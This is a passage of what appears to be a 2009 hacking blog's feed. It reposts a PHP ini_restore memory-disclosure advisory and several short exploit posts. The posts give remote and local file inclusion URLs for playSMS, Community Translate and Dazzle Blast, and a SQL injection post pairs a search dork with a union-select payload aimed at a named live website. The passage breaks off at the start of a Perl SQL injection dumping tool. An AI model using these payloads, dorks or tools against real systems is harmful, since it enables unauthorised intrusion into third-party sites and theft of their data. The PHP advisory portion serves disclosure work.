"0123456789ABCDEF");&lt;br /&gt;ini_restore("session.save_path");&lt;br /&gt;session_start();&lt;br /&gt;?&gt;&lt;br /&gt;127# php /var/www/www/sess.php AAA&lt;br /&gt;PHP Warning: session_start():&lt;br /&gt;open($­|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No&lt;br /&gt;such file or directory (2) in /var/www/www/sess.php on line 5&lt;br /&gt;PHP Warning: Unknown:&lt;br /&gt;open($­|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No&lt;br /&gt;such file or directory (2) in Unknown on line 0&lt;br /&gt;PHP Warning: Unknown: Failed to write session data (files). Please verify&lt;br /&gt;that the current setting of session.save_path is correct ($­|ma: no-cache)&lt;br /&gt;in Unknown on line 0&lt;br /&gt;127# php /var/www/www/sess.php&lt;br /&gt;PHP Warning: session_start():&lt;br /&gt;open(¤^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No&lt;br /&gt;such file or directory (2) in /var/www/www/sess.php on line 5&lt;br /&gt;PHP Warning: Unknown:&lt;br /&gt;open(¤^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No&lt;br /&gt;such file or directory (2) in Unknown on line 0&lt;br /&gt;PHP Warning: Unknown: Failed to write session data (files). Please verify&lt;br /&gt;that the current setting of session.save_path is correct (¤^j|ma: no-cache)&lt;br /&gt;in Unknown on line 0&lt;br /&gt;- ---example0 (5.2.10/5.3.0)---&lt;br /&gt;&lt;br /&gt;The main problem is started in ini_restore("session.save_path"). To show&lt;br /&gt;this issue, we need use some function with PG() inside (like:&lt;br /&gt;session_start()).&lt;br /&gt;&lt;br /&gt;- ---example1 (5.3.0)---&lt;br /&gt;127# uname -mrs &amp;&amp; php -v&lt;br /&gt;NetBSD 5.0 i386&lt;br /&gt;PHP 5.3.0 (cli) (built: Jul 15 2009 23:47:25)&lt;br /&gt;Copyright (c) 1997-2009 The PHP Group&lt;br /&gt;Zend Engine v2.3.0, Copyrght (c) 1998-2009 Zend Technologies&lt;br /&gt;127# cat /www/file.php&lt;br /&gt;&lt;?php&lt;br /&gt;ini_set("open_basedir", "A");&lt;br /&gt;ini_restore("open_basedir");&lt;br /&gt;ini_get("open_basedir");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;include("B");&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;127# php /www/file.php&lt;br /&gt;PHP Warning: include(): open_basedir restriction in effect. File(B) is not&lt;br /&gt;within the allowed path(s): (4?e»X?p») in /www/file.php on line&lt;br /&gt;7&lt;br /&gt;&lt;br /&gt;Warning: include(): open_basedir restriction in effect. File(B) is not&lt;br /&gt;within the allowed path(s): (4?e»X?p») in /www/file.php on line&lt;br /&gt;7&lt;br /&gt;PHP Warning: include(B): failed to open stream: Operation not permitted in&lt;br /&gt;/www/file.php on line 7&lt;br /&gt;&lt;br /&gt;Warning: include(B): failed to open stream: Operation not permitted in&lt;br /&gt;/www/file.php on line 7&lt;br /&gt;PHP Warning: include(): Failed opening 'B' for inclusion&lt;br /&gt;(include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7&lt;br /&gt;&lt;br /&gt;Warning: include(): Failed opening 'B' for inclusion&lt;br /&gt;(include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7&lt;br /&gt;&lt;br /&gt;127# curl http://localhost/file.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;: include() [&lt;a&lt;br /&gt;href='function.include'&gt;function.include&lt;/a&gt;]: open_basedir restriction in&lt;br /&gt;effect. File(B) is not within the allowed path(s): (°?e»Hup») in&lt;br /&gt;&lt;b&gt;/www/file.php&lt;/b&gt; on line &lt;b&gt;7&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;: include(B) [&lt;a&lt;br /&gt;href='function.include'&gt;function.include&lt;/a&gt;]: failed to open stream:&lt;br /&gt;Operation not permitted in &lt;b&gt;/www/file.php&lt;/b&gt; on line &lt;b&gt;7&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;: include() [&lt;a&lt;br /&gt;href='function.include'&gt;function.include&lt;/a&gt;]: Failed opening 'B' for&lt;br /&gt;inclusion (include_path='.:/usr/pkg/lib/php') in &lt;b&gt;/www/file.php&lt;/b&gt; on&lt;br /&gt;line &lt;b&gt;7&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- ---example1 (5.3.0)---&lt;br /&gt;&lt;br /&gt;Variable PG(open_basedir) is now out of range. So any function (like:&lt;br /&gt;include()) with&lt;br /&gt;&lt;br /&gt;php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in&lt;br /&gt;effect. File(%s) is not within the allowed path(s): (%s)", path,&lt;br /&gt;PG(open_basedir));&lt;br /&gt;&lt;br /&gt;will print memory&lt;br /&gt;&lt;br /&gt;examples:&lt;br /&gt;- ---&lt;br /&gt;Warning: ini_restore() [function.ini-restore]: open_basedir restriction in&lt;br /&gt;effect. File() is not within the allowed path(s): (¤©f»ESSID) in&lt;br /&gt;/www/ssij.php on line 8&lt;br /&gt;&lt;br /&gt;Warning: ini_restore() [function.ini-restore]: open_basedir restriction in&lt;br /&gt;effect. File() is not within the allowed path(s): (,ªf»aaaaaa) in&lt;br /&gt;/www/ssij.php on line 8&lt;br /&gt;&lt;br /&gt;Warning: ini_restore() [function.ini-restore]: open_basedir restriction in&lt;br /&gt;effect. File() is not within the allowed path(s): (?¬f»ESSID) in&lt;br /&gt;/www/ssij.php on line 8&lt;br /&gt;&lt;br /&gt;Warning: ini_restore() [function.ini-restore]: open_basedir restriction in&lt;br /&gt;effect. File() is not within the allowed path(s): (ÈËe»ef_root)&lt;br /&gt;in /www/ssij.php on line 8&lt;br /&gt;&lt;br /&gt;Warning: ini_restore() [function.ini-restore]: open_basedir restriction in&lt;br /&gt;effect. File() is not within the allowed path(s): (4Íe»r.ini) in&lt;br /&gt;/www/ssij.php on line 8&lt;br /&gt;- ---&lt;br /&gt;&lt;br /&gt;Variables in class PG, may take any value.&lt;br /&gt;So code such as&lt;br /&gt;&lt;br /&gt;if (PG(open_basedir) &amp;&amp; php_check_open_basedir(new_value TSRMLS_CC))&lt;br /&gt;&lt;br /&gt;can be manipulated.&lt;br /&gt;&lt;br /&gt;But not only zend_ini.c have issue. When we try use ini_set() and&lt;br /&gt;ini_restore() for error_log, php will crash.&lt;br /&gt;&lt;br /&gt;Function OnUpdateErrorLog, dosen't check that new_value is empty (null&lt;br /&gt;point). It should provide to crash.&lt;br /&gt;&lt;br /&gt;- ---main.c---&lt;br /&gt;static PHP_INI_MH(OnUpdateErrorLog)&lt;br /&gt;{&lt;br /&gt;...&lt;br /&gt;/* Only do the safemode/open_basedir check at runtime */&lt;br /&gt;if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS)&lt;br /&gt;&amp;&amp; strcmp(new_value, "syslog")) {&lt;br /&gt;...&lt;br /&gt;- ---main.c---&lt;br /&gt;&lt;br /&gt;strcmp(3) will check new_value. So new_value can not be NULL.&lt;br /&gt;&lt;br /&gt;here:&lt;br /&gt;&lt;br /&gt;STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog,&lt;br /&gt;error_log, php_core_globals, core_globals)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;default error_log is NULL&lt;br /&gt;&lt;br /&gt;...("error_log", NULL,...&lt;br /&gt;&lt;br /&gt;so if we put some string, and remove it, php should crash&lt;br /&gt;&lt;br /&gt;127# php -r 'ini_set("error_log","A");ini_restore("error_log");'&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;&lt;br /&gt;127# gdb -q php&lt;br /&gt;(gdb) r -r 'ini_set("error_log","A");ini_restore("error_log");'&lt;br /&gt;Starting program: /usr/local/bin/php -r&lt;br /&gt;'ini_set("error_log","A");ini_restore("error_log");'&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x288ee410 in strcmp () from /lib/libc.so.7&lt;br /&gt;&lt;br /&gt;bt:&lt;br /&gt;#0 0x288ee410 in strcmp () from /lib/libc.so.7&lt;br /&gt;#1 0x081c7b85 in OnUpdateErrorLog (entry=0x28a65a80, new_value=0x0,&lt;br /&gt;new_value_length=3, mh_arg1=0x38, mh_arg2=0x83d5420, mh_arg3=0x0,&lt;br /&gt;stage=16)&lt;br /&gt;at /usr/ports/lang/php5/work/php-5.3.0/main/main.c:354&lt;br /&gt;#2 0x0824cb85 in zend_restore_ini_entry_cb (ini_entry=0x28a65a80,&lt;br /&gt;stage=16)&lt;br /&gt;at /usr/ports/lang/php5/work/php-5.3.0/Zend/zend_ini.c:55&lt;br /&gt;#3 0x0824d3f5 in zend_restore_ini_entry (name=0x28a1e36c "error_log",&lt;br /&gt;name_length=10, stage=16)&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Functions like OnUpdateErrorLog, should check, that new_value is not a NULL&lt;br /&gt;pointer.&lt;br /&gt;&lt;br /&gt;- --- 2. Fix ---&lt;br /&gt;(5.3.0):&lt;br /&gt;http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c&lt;br /&gt;http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c&lt;br /&gt;&lt;br /&gt;(5.2.10):&lt;br /&gt;http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c&lt;br /&gt;http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c&lt;br /&gt;&lt;br /&gt;- --- 3. Greets ---&lt;br /&gt;stas&lt;br /&gt;&lt;br /&gt;sp3x Infospec Chujwamwdupe p_e_a pi3&lt;br /&gt;&lt;br /&gt;- --- 4. Contact ---&lt;br /&gt;Author: SecurityReason.com [ Maksymilian Arciemowicz ]&lt;br /&gt;Email: cxib {a.t] securityreason [d00t} com&lt;br /&gt;GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg&lt;br /&gt;http://securityreason.com&lt;br /&gt;http://securityreason.pl&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP SIGNATURE-----&lt;br /&gt;&lt;br /&gt;iEYEARECAAYFAkp7FoMACgkQpiCeOKaYa9YWFwCbBhEvA69nQDgwXyuDdU8wbjmu&lt;br /&gt;ZIEAniHiQ3puTKqEtw9u8g6/T/806j7A&lt;br /&gt;=DvtO&lt;br /&gt;-----END PGP SIGNATURE-----&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4268579585389151946?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4268579585389151946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/php-5210530-zendinic-memory-disclosure.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4268579585389151946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4268579585389151946'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/php-5210530-zendinic-memory-disclosure.html' title='PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1495111819681914505</id><published>2009-10-15T18:54:00.000-07:00</published><updated>2009-10-15T18:56:38.062-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>playSMS ver 0.9.4 RFI &amp; LFI Vulnerability</title><content type='html'>[o]====================================[o]&lt;br /&gt;[x]                        playSMS version 0.9.4                        [x]&lt;br /&gt;[x]                           RFI&amp;LFI Vulnerability                     [x]&lt;br /&gt;&lt;br /&gt;Download:http://playsms.sourceforge.net/ 167.9 KB&lt;br /&gt;Date        : 14 Oct 2009&lt;br /&gt;[o]====================================[o]&lt;br /&gt;&lt;br /&gt;file: /lib/function.php&lt;br /&gt;&lt;br /&gt;// main functions&lt;br /&gt;include "$apps_path[libs]/fn_logger.php"; line 4&lt;br /&gt;include "$apps_path[libs]/fn_auth.php"; line 5&lt;br /&gt;include "$apps_path[libs]/fn_user.php"; line 6&lt;br /&gt;include "$apps_path[libs]/fn_sendsms.php"; line 7&lt;br /&gt;include "$apps_path[libs]/fn_sendmail.php"; line 8&lt;br /&gt;include "$apps_path[libs]/fn_phonebook.php"; line 9&lt;br /&gt;include "$apps_path[libs]/fn_core.php"; line 10&lt;br /&gt;include "$apps_path[libs]/fn_themes.php"; line 11&lt;br /&gt;&lt;br /&gt;// init global variables&lt;br /&gt;include "$apps_path[libs]/lib_init1.php"; line 14&lt;br /&gt;&lt;br /&gt;// custom functions before plugins loading&lt;br /&gt;include "$apps_path[libs]/fn_custom1.php"; line 17&lt;br /&gt;&lt;br /&gt;// init global variables&lt;br /&gt;include "$apps_path[libs]/lib_init2.php"; line 65&lt;br /&gt;&lt;br /&gt;// custom functions before plugins loading&lt;br /&gt;include "$apps_path[libs]/fn_custom2.php"; line 68&lt;br /&gt;&lt;br /&gt;http://localhost/[path]/lib/function.php?apps_path[libs]=[tutung-RFI]&lt;br /&gt;&lt;br /&gt;[o]====================================[o]&lt;br /&gt;&lt;br /&gt;file: /plugin/themes/default/init.php&lt;br /&gt;&lt;br /&gt;include $apps_path[themes]."/".$themes_module."/config.php";&lt;br /&gt;include $apps_path[themes]."/".$themes_module."/fn.php"; line 3&lt;br /&gt;&lt;br /&gt;http://localhost/[path]/plugin/themes/default/init.php?apps_path[themes]=[tutung-RFI]&lt;br /&gt;http://localhost/[path]/plugin/themes/default/init.php?themes_module=[tutung-LFI]&lt;br /&gt;&lt;br /&gt;[o]====================================[o]&lt;br /&gt;&lt;br /&gt;file: /plugin/gateway/gnokii/init.php&lt;br /&gt;&lt;br /&gt;include "$apps_path[plug]/gateway/$gateway_module/config.php"; line 2&lt;br /&gt;include "$apps_path[plug]/gateway/$gateway_module/fn.php"; line 3&lt;br /&gt;&lt;br /&gt;http://localhost/[path]/plugin/gateway/gnokii/init.php?apps_path[plug]=[tutung-RFI]&lt;br /&gt;http://localhost/[path]/plugin/gateway/gnokii/init.php?gateway_module=[tutung-LFI]&lt;br /&gt;&lt;br /&gt;[o]====================================[o]&lt;br /&gt;&lt;br /&gt;i think bug was publish by&lt;br /&gt;ahmadbady [kivi_hacker666@yahoo.com] at playSMS version 0.9.3&lt;br /&gt;but vendor still don't have update the bug at playSMS version 0.9.4,&lt;br /&gt;so it's not same version right? :D&lt;br /&gt;&lt;br /&gt;colek-colek&lt;br /&gt;: All Brotha Antisecurity[dot]Org www.MainHack.net www.ServerIsDown.org&lt;br /&gt;Jack-, Vrs_hCk, OoN_Boy, NoGe, zxvf, Yadoy666, s3t4n, r3v4n_b4st4rd,&lt;br /&gt;pizzyroot,&lt;br /&gt;em|nem, s4va,&lt;br /&gt;kecemplungkalen, xr00tb0y&lt;br /&gt;xshadow, Tante Angela Chang, IrcMafia&lt;br /&gt;Indonesian Coder&lt;br /&gt;Don Tukulesto, M3NW5, m364tr0n, cyb3r_tr0n&lt;br /&gt;&lt;br /&gt;./noname&lt;br /&gt;&lt;br /&gt;[o]====================================[o]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1495111819681914505?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1495111819681914505/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/playsms-ver-094-rfi-lfi-vulnerability.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1495111819681914505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1495111819681914505'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/playsms-ver-094-rfi-lfi-vulnerability.html' title='playSMS ver 0.9.4 RFI &amp; LFI Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4018903600152849679</id><published>2009-10-04T04:55:00.001-07:00</published><updated>2009-10-04T04:56:17.882-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>jasakom has been hacked</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dwahXHUsR58/SsiNTaXuYqI/AAAAAAAAACg/T0yGq9h2QZg/s1600-h/jasakom-1024x718.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 224px;" src="http://2.bp.blogspot.com/_dwahXHUsR58/SsiNTaXuYqI/AAAAAAAAACg/T0yGq9h2QZg/s320/jasakom-1024x718.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5388712318784660130" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4018903600152849679?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4018903600152849679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/jasakom-has-been-hacked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4018903600152849679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4018903600152849679'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/jasakom-has-been-hacked.html' title='jasakom has been hacked'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_dwahXHUsR58/SsiNTaXuYqI/AAAAAAAAACg/T0yGq9h2QZg/s72-c/jasakom-1024x718.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3090290290537104635</id><published>2009-10-04T04:51:00.002-07:00</published><updated>2009-10-04T04:52:14.867-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Redcat Media SQL Injection Vulnerability</title><content type='html'>x]==========================================[x]&lt;br /&gt;|             AntiSecurity[dot]org           |&lt;br /&gt;[x]==========================================[x]&lt;br /&gt;[x]==========================================[x]&lt;br /&gt;&lt;br /&gt;| Title            : redcat media (inurl:index.php?contentId=) SQL Injection Vulnerability&lt;br /&gt;| Vendor           : http://www.redcatmedia.co.uk/&lt;br /&gt;| Date             : 2 oktober 2009 ( Indonesia )&lt;br /&gt;| Author           : s4va&lt;br /&gt;| Contact          : sava_sword@yahoo.com&lt;br /&gt;| Blog             : http://s4vaworld.uni.cc&lt;br /&gt;&lt;br /&gt;[x]==========================================[x]&lt;br /&gt;&lt;br /&gt;| Dork : “Powered by RedCat” inurl:index.php?contentId=&lt;br /&gt;&lt;br /&gt;[x]==========================================[x]&lt;br /&gt;&lt;br /&gt;| Exploit&lt;br /&gt;| http://target/index.php?contentId=[sql]&lt;br /&gt;&lt;br /&gt;[x]==========================================[x]&lt;br /&gt;&lt;br /&gt;| Proof of concept&lt;br /&gt;|&lt;br /&gt;http://www.5ringstelecom.com/index.php?contentId=-26%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17–&lt;br /&gt;&lt;br /&gt;[x]==========================================[x]&lt;br /&gt;&lt;br /&gt;| THX TO:&lt;br /&gt;|blackstar ; x-shadow ; cr4wl3r ; bl4ck_3n91n3 ; k0il ; inc0mp13te ; [...]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3090290290537104635?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3090290290537104635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/redcat-media-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3090290290537104635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3090290290537104635'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/redcat-media-sql-injection.html' title='Redcat Media SQL Injection Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-8248952365409950303</id><published>2009-10-04T04:51:00.001-07:00</published><updated>2009-10-04T04:51:28.087-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Community Translate RFI Vuln</title><content type='html'>[o] Community Translate Remote File Inclusion Vulnerability&lt;br /&gt;Software     : Community Translate&lt;br /&gt;Project Home : http://code.google.com/p/communitytranslate/&lt;br /&gt;Author       : NoGe&lt;br /&gt;Contact      : noge[dot]code[at]gmail[dot]com&lt;br /&gt;Blog         : http://evilc0de.blogspot.com/&lt;br /&gt;Home         : http://antisecurity.org/&lt;br /&gt;&lt;br /&gt;[o] Vulnerable file&lt;br /&gt;require_once("$rd/include/utilfunctions.php");&lt;br /&gt;&lt;br /&gt;include/functions.php&lt;br /&gt;&lt;br /&gt;[o] Exploit&lt;br /&gt;http://localhost/[path]/include/functions.php?rd=[evilc0de]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-8248952365409950303?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/8248952365409950303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/community-translate-rfi-vuln.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8248952365409950303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8248952365409950303'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/community-translate-rfi-vuln.html' title='Community Translate RFI Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-8000766686280769854</id><published>2009-10-04T04:50:00.000-07:00</published><updated>2009-10-04T04:51:03.744-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Dazzle Blast RFI Vuln</title><content type='html'>[o] Dazzle Blast Remote File Inclusion Vulnerability&lt;br /&gt;Software : Dazzle Blast&lt;br /&gt;Download : http://www.dazzleblast.com/dazzleblast.zip&lt;br /&gt;Author   : NoGe&lt;br /&gt;Contact  : noge[dot]code[at]gmail[dot]com&lt;br /&gt;Blog     : http://evilc0de.blogspot.com/&lt;br /&gt;Home     : http://antisecurity.org/&lt;br /&gt;&lt;br /&gt;[o] Vulnerable file&lt;br /&gt;require_once($ROOTDIR.'admin/functions/general.php');&lt;br /&gt;&lt;br /&gt;admin/includes/createemails.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[o] Exploit&lt;br /&gt;http://localhost/[path]/admin/includes/createemails.php?ROOTDIR=[evilc0de]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-8000766686280769854?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/8000766686280769854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/dazzle-blast-rfi-vuln.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8000766686280769854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8000766686280769854'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/dazzle-blast-rfi-vuln.html' title='Dazzle Blast RFI Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-533739764015186777</id><published>2009-09-28T20:04:00.000-07:00</published><updated>2009-09-28T20:13:06.378-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Simple SQLi Dumper (SSDp) v0.1 GUI</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dwahXHUsR58/SsF66GBrZYI/AAAAAAAAACY/Mff9PawJjGc/s1600-h/3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 238px;" src="http://3.bp.blogspot.com/_dwahXHUsR58/SsF66GBrZYI/AAAAAAAAACY/Mff9PawJjGc/s320/3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5386721767780476290" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dwahXHUsR58/SsF65uQBAFI/AAAAAAAAACQ/__7Bm-y_NmE/s1600-h/2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 238px;" src="http://3.bp.blogspot.com/_dwahXHUsR58/SsF65uQBAFI/AAAAAAAAACQ/__7Bm-y_NmE/s320/2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5386721761398161490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dwahXHUsR58/SsF65C1sbcI/AAAAAAAAACI/En-QJyrA05w/s1600-h/1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 238px;" src="http://4.bp.blogspot.com/_dwahXHUsR58/SsF65C1sbcI/AAAAAAAAACI/En-QJyrA05w/s320/1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5386721749745036738" /&gt;&lt;/a&gt;&lt;br /&gt;take from &lt;a href="http://c0li.blogspot.com/"&gt;c0li.m0de.0n&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 380px; height: 146px; text-align: left;"&gt;&amp;lt;?&lt;br /&gt;&lt;pre&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# Simple SQLi Dumper (SSDp) v2.2&lt;br /&gt;# Coded by Vrs-hCk&lt;br /&gt;# ander[at]antisecurity.org&lt;br /&gt;# Anti Security Team&lt;br /&gt;&lt;br /&gt;# Example: http://localhost/index.php?id=-1+union+select+1,2,3,c0li,5&lt;br /&gt;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;my 